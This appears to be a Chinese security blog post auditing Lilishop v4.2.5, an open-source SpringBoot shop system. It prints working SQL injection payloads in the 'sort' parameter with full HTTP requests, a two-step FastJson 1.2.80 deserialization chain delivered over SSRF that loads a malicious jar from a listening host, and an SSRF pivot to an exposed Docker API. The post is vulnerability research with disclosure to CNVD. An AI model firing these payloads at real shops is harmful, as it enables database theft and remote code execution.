Lilishop 开源商城系统代码审计
0x00 前言
Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。
0x01 声明
遵纪守法
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
漏洞报送
该文章涉及的漏洞已提交到CNVD、CNNVD平台。
文章转载
商业转载请联系作者获得授权,非商业转载请注明出处。
作者公众号:响尾蛇社区
0x02 环境
Lilishop 开源商城系统版本:v4.2.5
系统环境:Window11
JAVA版本:1.8.0_381
Nodejs版本:v14.21.3
0x03 安装
搭建该系统需要配置内存大于或等于32GB,需要部署买家、卖家、商城管理三端,分别有前后端,一共六个服务。
参考:https://docs.pickmall.cn/deploy/win/deploy.html
拉取后端源码
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git |
拉取前端源码
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git |
前端源码初始化并运行
npm install yarn |
在安装过程中我需要了下面的报错问题。
解决命令如下:
yarn remove webpack |
0x04 代码审计
【高危】分页插件导致数十个SQL注入
这里的SQL注入漏洞点都是由一个地方导致的,漏洞注入的地方为order by
,依据 Mybatis 特性不能多行执行,且存在函数黑名单,所以利用上有限。
漏洞复现
【前台】漏洞位置:获取APP版本
构造数据包:
GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1 |
后台查看SQL执行情况:
预编译的SQL语句为:
SELECT id, create_time, create_by, version, version_name, content, force_update, download_url, type, version_update_date FROM li_app_version WHERE (type = ?) ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ? |
除了报错注入,我们还可以使用布尔方式进行注入:
语句是获取所有表名并使用group_concat
将所有表名合成一行字符串输出,我们通过这种布尔的方式可以逐步爆破出所有的表名。
1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=73,1,(select 1 union select 2)) |
如果字符串第一位不是为ascii码中的73就会出现以下报错。
1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2)) |
正确后正常返回数据。
【后台】漏洞位置:计量单位
访问 http://localhost:10003/goodsUnit 登录后台并进入到商品->计量单位
界面。
抓包并修改sort
参数为 payload:
updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1) |
GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1 |
后台查看SQL执行情况:
预编译的SQL语句为:
SELECT id, name, create_by, create_time, update_by, update_time, delete_flag FROM li_goods_unit ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ? |
更多的利用方式:常见的sql注入方式和waf绕过 - sp4rk’s blog
默认开启Druid拦截功能:Druid拦截功能的配置与简单绕过
拦截功能配置:配置 wallfilter
默认函数黑名单:
漏洞分析
其中的initPage
函数处理中使用了addOrder
但是没有对sort
进行SQL语句过滤。framework/src/main/java/cn/lili/mybatis/util/PageUtil.java
全局搜索PageUtil.initPage
根据spring自动绑定的特性,若此时加入orders参数的传递,同样的后端会进行对应的实体封装,最终带入到sql查询中,同时因为order by场景下MybatisPlus并没有相关的安全措施 ,会导致SQL注入风险。
通过这种请求入口,自动获取order
和sort
字段。以下是其中一个。manager-api/src/main/java/cn/lili/controller/goods/GoodsUnitManagerController.java
断点测试时,发现存在恶意的sort
内容被保留,并在后续拼接到预编译SQL语句。
关于分页插件注入更多信息请查看:SecIN
【高危】SSRF导致FastJson反序列化RCE
漏洞复现
我们准备一个返回FastJson payload 的响应数据包。
这里我从Maven拉取的Fastjson版本较高1.2.78(依据framework/pom.xml
自动拉取)
我选择使用 payload
{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}{% endraw %} |
from http.server import BaseHTTPRequestHandler, HTTPServer |
更多的payload:GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合
使用python运行该文件并进入到运营后台 http://localhost:10003/sys/setting
查看物流处利用
设置->系统设置->快递鸟设置
将reqURL
修改成http://127.0.0.1:14533/getmsg
准备好这个之后,我们有很多出地方可以出发这个请求。
比如这里是商家查看获取物流,我们还可以在买家端、运营端找到这个功能。
这里是需要存在一个订单处于已发货状态。
当我们点击后在dnslog.cn
可以获得解析记录。
Fastjson <= 1.2.80 可以打三种不同的利用链,这里我发现存在其中一种利用链groovy
。org.codehaus.groovy.control.CompilationFailedException
改写我们的Exp python文件。
... |
这里有两步请求 payload :
实例化org.codehaus.groovy.control.ProcessingUnit并把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}通过GroovyClassLoader加载恶意Class
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:35260/attack-1.jar"
}
}下载 GitHub - Lonely-night/fastjsonVul: fastjson 80 远程代码执行漏洞复现
修改attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java
修改默认执行命令,我使用的是window环境,所以修改成calc.exe
通过maven package
打包成 jar,然后到jar的目录下执行python -m http.server 35260
接下来分别让FastJson解析两个payload后就执行了我们想要的命令。
总的过程:运营后台修改
reqURL
启动 python 脚本进行监听
点击查看物流
编辑 python 脚本切换 payload 并启动监听
恶意jar目录下启动python http服务监听
点击查看物流
Boom!
参考资料:
fastjson 1.2.80绕过简单分析 - rnss - 博客园
fastjson 1.2.80 漏洞分析
Fastjson 漏洞梳理
打印电子面单处利用
设置->系统设置->快递鸟设置
将电子面单URL
修改成http://127.0.0.1:14533/getmsg
保存后,我们登录商家端,在订单->商品订单
找一个待发货的订单,进入订单详情后,点击打印电子面单
然后点击确认。
脚本可以收到请求信息
按照上面发送两个请求后一样能够RCE。
漏洞分析
查看物流处利用
发现getOrderTracesByJson
函数中存在两行代码:
String result = sendPost(ReqURL, params); |
其作用是对ReqURL
发起Post请求,然后将返回的内容交给FastJson的JSON.parse函数,即将返回的JSON内容转换成Java对象。framework/src/main/java/cn/lili/modules/system/serviceimpl/LogisticsServiceImpl.java
这里的ReqURL
是由快递鸟设置的。
只有同一文件中的函数getLogistic
调用了它。
但它存在两个用法,分别是AfterSaleServiceImpl
和OrderServiceImpl
,分别是查看订单里的查看物流功能和退货后里的查看物流功能,总共有五处可以触发该功能。
查看物流实现的是getTraces
接口。framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java
有三处调用,分别是买家、运营、商家。
打印电子面单处利用
framework/src/main/java/cn/lili/modules/kdBrid/serviceImpl/KdNiaoServiceImpl.java
seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java
总的来说,需要完成此RCE需要运营权限,需要存在一个待发货或者已发货订单,需要一台VPS,需要对方服务器能够出网。是一个后台的RCE漏洞,相对来说利用复杂度高。
【低危】商家后台添加商品处SSRF
漏洞出现的原因是没有对数据包中的图片网络地址进行校验,构造了GET请求。从具体来看,这里只能执行HTTP、HTTPS的协议且没有回显,能利用的范围极其有限。
漏洞复现
我们先在运营后台http://localhost:10003/sys/authLogin设置->信任登录
填写好appid和appSecret。
然后进入卖家后台http://localhost:10002/liveGoods营销->直播商品
选择添加商品,任意选择商品点击确定。
抓包后修改goodsImage
参数即可。
监听的服务能够接收到请求。
请求数据包:
POST /store/broadcast/commodity HTTP/1.1 |
后续利用
受到CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试的启发,如果目标机器存在docker 2375端口监听且没有设置验证密码的情况下,我们可以通过SSRF请求2375的/build
完成Build an image功能。挂载到特殊目录完成GetShell(只适合Linux系统)。
Docker Engine API v1.41 Reference
如果出现开启但是没有监听可以通过游览这个页面解决
https://github.com/docker/for-win/issues/3546
漏洞分析
framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java
framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java
framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java
seller-api/src/main/java/cn/lili/controller/other/broadcast/CommodityStoreController.java
0x05 总结
在审计SpringBoot框架的代码时,我主要从高危漏洞入手,一般关注注入漏洞比较多。在实践过程中,大部分的业务点不会涉及到远程加载未验证类的情况,存在RCE的地方一般会伴随反序列化。
Lilishop 开源商城系统代码审计